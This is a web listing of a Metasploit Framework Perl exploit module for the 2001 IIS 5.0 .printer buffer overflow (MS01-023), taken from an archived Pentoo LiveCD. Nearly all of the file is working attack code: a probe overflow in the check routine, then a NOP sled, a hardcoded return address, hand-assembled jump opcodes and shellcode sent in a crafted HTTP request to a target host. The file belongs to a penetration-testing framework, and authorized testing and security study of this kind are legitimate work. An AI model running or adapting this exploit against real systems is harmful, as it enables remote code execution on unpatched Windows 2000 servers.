home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / exploits / iis50_printer_overflow.pm < prev    next >
Text File  |  2006-06-30  |  5KB  |  173 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::iis50_printer_overflow;
  11. use base "Msf::Exploit";
  12. use strict;
  13. use Pex::Text;
  14.  
  15. my $advanced = { };
  16.  
  17. my $info =
  18.   {
  19.  
  20.     'Name'  => 'IIS 5.0 Printer Buffer Overflow',
  21.     'Version'  => '$Revision: 1.36 $',
  22.     'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
  23.  
  24.     'Arch'  => [ 'x86' ],
  25.     'OS'    => [ 'win32', 'win2000' ],
  26.     'Priv'  => 0,
  27.  
  28.     'UserOpts'  =>
  29.       {
  30.         'RHOST' => [1, 'ADDR', 'The target address'],
  31.         'RPORT' => [1, 'PORT', 'The target port', 80],
  32.         'SSL'   => [0, 'BOOL', 'Use SSL'],
  33.       },
  34.  
  35.     'Payload' =>
  36.       {
  37.         'Space'  => 900,
  38.         'BadChars'  => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
  39.       },
  40.  
  41.     'Description'  => Pex::Text::Freeform(qq{
  42.         This exploits a buffer overflow in the request processor of
  43.         the Internet Printing Protocol ISAPI module in IIS. This
  44.         module works against Windows 2000 service pack 0 and 1. If
  45.         the service stops responding after a successful compromise,
  46.         run the exploit a couple more times to completely kill the
  47.         hung process.
  48. }),
  49.  
  50.     'Refs'  =>
  51.       [
  52.         ['OSVDB', '3323'],
  53.         ['MSB',   'MS01-023'],
  54.         ['URL',   'http://seclists.org/lists/bugtraq/2001/May/0005.html'],
  55.         ['MIL',   '27'],
  56.       ],
  57.  
  58.     'DefaultTarget' => 0,
  59.     'Targets' => [['Windows 2000 SP0/SP1', 0x732c45f3]],
  60.  
  61.     'Keys' => ['iis'],
  62.  
  63.     'DisclosureDate' => 'May 1 2001',
  64.   };
  65.  
  66. sub new {
  67.     my $class = shift;
  68.     my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  69.     return($self);
  70. }
  71.  
  72. sub Check {
  73.     my $self = shift;
  74.     my $target_host = $self->GetVar('RHOST');
  75.     my $target_port = $self->GetVar('RPORT');
  76.  
  77.     my $s = Msf::Socket::Tcp->new
  78.       (
  79.         'PeerAddr'  => $target_host,
  80.         'PeerPort'  => $target_port,
  81.         'LocalPort' => $self->GetVar('CPORT'),
  82.         'SSL'       => $self->GetVar('SSL'),
  83.       );
  84.     if ($s->IsError) {
  85.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  86.         return $self->CheckCode('Connect');
  87.     }
  88.  
  89.     $s->Send("GET /NULL.printer\r\n\r\n");
  90.     my $res = $s->Recv(-1, 5);
  91.     $s->Close();
  92.  
  93.     if ($res !~ /Error in web printer/) {
  94.         $self->PrintLine("[*] Server may not have the .printer extension mapped");
  95.         return $self->CheckCode('Safe');
  96.     }
  97.  
  98.     # Now send a mini-overflow to see if the service is vulnerable
  99.     $s = Msf::Socket::Tcp->new
  100.       (
  101.         'PeerAddr'  => $target_host,
  102.         'PeerPort'  => $target_port,
  103.         'LocalPort' => $self->GetVar('CPORT'),
  104.         'SSL'       => $self->GetVar('SSL'),
  105.       );
  106.     if ($s->IsError) {
  107.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  108.         return $self->CheckCode('Connect');
  109.     }
  110.  
  111.     $s->Send("GET /NULL.printer\r\nHost: " . ("META" x 64) . "P\r\n\r\n");
  112.     $res = $s->Recv(-1, 5);
  113.     $s->Close();
  114.  
  115.     if ($res =~ /locked out/) {
  116.         $self->PrintLine("[*] The IUSR account is locked account, we can't check");
  117.         return $self->CheckCode('Detected');
  118.     }
  119.     elsif ($res =~ /HTTP\/1\.1 500/) {
  120.         $self->PrintLine("[*] The system appears to be vulnerable");
  121.         return $self->CheckCode('Appears');
  122.     }
  123.  
  124.     $self->PrintLine("[*] The system does not appear to be vulnerable");
  125.     return $self->CheckCode('Safe');
  126. }
  127.  
  128. sub Exploit
  129. {
  130.     my $self = shift;
  131.     my $target_host = $self->GetVar('RHOST');
  132.     my $target_port = $self->GetVar('RPORT');
  133.     my $target_idx  = $self->GetVar('TARGET');
  134.     my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
  135.  
  136.     my $target = $self->Targets->[$target_idx];
  137.  
  138.     if (! $self->InitNops(128)) {
  139.         $self->PrintLine("[*] Failed to initialize the nop module.");
  140.         return;
  141.     }
  142.  
  143.     my $pattern = $self->MakeNops(280);
  144.     substr($pattern, 268, 4, pack("V", $target->[1]));
  145.  
  146.     # payload is at: [ebx + 96] + 256 + 64
  147.     $pattern .= "\x8b\x4b\x60";         # mov ecx, [ebx + 96]
  148.     $pattern .= "\x80\xc1\x40";         # add cl, 64
  149.     $pattern .= "\x80\xc5\x01";         # add ch, 1
  150.     $pattern .= "\xff\xe1";             # jmp ecx
  151.  
  152.     my $request = "GET http://$pattern/null.printer?$shellcode HTTP/1.0\r\n\r\n";
  153.  
  154.     $self->PrintLine(sprintf ("[*] Trying ".$target->[0]." using return to esp at 0x%.8x...", $target->[1]));
  155.  
  156.     my $s = Msf::Socket::Tcp->new
  157.       (
  158.         'PeerAddr'  => $target_host,
  159.         'PeerPort'  => $target_port,
  160.         'LocalPort' => $self->GetVar('CPORT'),
  161.         'SSL'       => $self->GetVar('SSL'),
  162.       );
  163.     if ($s->IsError) {
  164.         $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  165.         return;
  166.     }
  167.  
  168.     $s->Send($request);
  169.     $s->Close();
  170.     return;
  171. }
  172.  
  173.